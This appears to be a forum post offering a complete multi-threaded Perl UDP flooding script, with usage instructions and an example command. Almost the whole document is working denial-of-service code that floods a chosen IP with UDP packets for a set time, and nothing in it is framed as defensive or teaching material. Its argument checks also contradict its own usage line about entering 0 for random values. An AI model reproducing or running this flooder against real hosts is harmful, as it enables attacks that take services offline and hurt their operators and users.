Multi-Threaded UDP Flooder

Multi-Threaded UDP Flooder

This is a Perl UDP Flooder I made, It has multi-threaded capabilites aswell as being able to specify how long the flood will last aswell as the target's port or random ports aswell as the size of the packets.

Usage: [IP] [port 0 for random] [Packet size 0 for random [1-65500]] [seconds to flood] [threads] [show each packet sent, 0 for false 1 for true]


example:



~$ perl udp.pl 127.0.0.1 0 50000 300 15 0

Code:

#!/usr/bin/perl -w

use strict;
use Socket;
use threads;

#Fallen |WalrusPeopleCrew.com

my $fail = 0;
#Usage: [IP] [port 0 for random]  [Packet size 0 for random [1-65500]] [seconds to flood] [threads] [show each packet sent, 0 for false 1 for true]
if($ARGV[0] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
{
    print "[x]Valid IP check...\n"
}
else
{
    $fail = 1;
    print "[!]IP check Failed... x.x.x.x\n"; 
}
if($ARGV[1] =~ /^\d+$/ && $ARGV[1] > 0 && $ARGV[1] < 65536)
{
    print "[x]Port Check...\n";
}
else
{
    $fail = 1;
    print "[!]Port Check Failed! 0 for random or 1-65535...\n"; 
}
if($ARGV[2] =~ /^\d+$/ && $ARGV[2] > 0 && $ARGV[2] <= 65500)
{
    print "[x]Packet Size Check...\n";
}
else
{
    $fail = 1;
    print "[!]Packet Size Check Failed! 0 for random - 65500...\n"; 
}
if($ARGV[3] =~ /^\d+$/ && $ARGV[3] > 0)
{
    print "[x]Valid Seconds check...\n"
}
else
{
    $fail = 1;
    print "[!]Seconds check Failed... must be an interger and greater then 0\n"; 
}
if($ARGV[4] =~ /^\d+$/ && $ARGV[4] > 0)
{
    print "[x]Valid Threads check...\n";
    if($ARGV[4] > 35)
    {
        print "Warning! You have selected 35+ threads. This can cause problems, consider revising!\n";
    }
}
else
{
    $fail = 1;
    print "[!]Threads check Failed... must be an interger and greater then 0\n"; 
}
if($ARGV[5] =~ /(0|1)/)
{
    print "[x]Valid \"Show Each Packet\" variable...\n";
}
else
{
    $fail = 1;
    print "[!]Invalid \"Show Each Packet\" variable 0 for no, 1 for yes...\n";
}


if($fail == 0)
{
print "Continue?[y/n]\n";
my $ans = <STDIN>;
if($ans =~ /y/i)
{
    print "[UDP Flooding] $ARGV[0] " . "| PORT:" . ($ARGV[1] ? $ARGV[1] : "random")
    . " PacketSize:" . ($ARGV[2] ? "$ARGV[2]-byte" : "random") . " Seconds:$ARGV[3]"
    . " Threads:$ARGV[4]\n";

    use vars qw ($udp_tdn $p_s $udp_t $count $udp_td $d_c $d_cc);

    $udp_td = 0, $count = 0;

    for(; $count <= $ARGV[4]; $count += 1)
    {
        $udp_t = threads->create(\&udpflood, $ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3], $ARGV[4]);
        print "Thread:$count\n";
    }

    $d_c = threads->create(\&udpdone);

    $d_cc = $d_c->join();

    for(;$d_c == 0;)
    {
        sleep(3);
    }
 
sub udpflood
{
    my $ip = $_[0], my $port = $_[1] ,my $size = $_[2] ,my $time = $_[3], my $threads = $_[4];
    my ($iaddr,$endtime,$psize,$pport);
    $iaddr = inet_aton("$ip");
    $endtime = time() + ($time ? $time : 1000000);
    socket("flood", PF_INET, SOCK_DGRAM, 17);
    for (;time() <= $endtime;)
    {
        $psize = $size ? $size : int(rand(1024-64)+64) ;
        $pport = $port ? $port : int(rand(65500))+1;
    send("flood", pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
        if($ARGV[5]==1)
        {
            print "Sent Packet: Size[$psize] Port[$pport]\n";
        }
    }
     
    return 0;
}
sub udpdone
{
    $udp_td = $udp_t->join();
    while ($udp_td == 0)
    {
    sleep(1);
    }
    print "[UDP Flooding]:Flood Done!\n";
    return 0;
}
}
}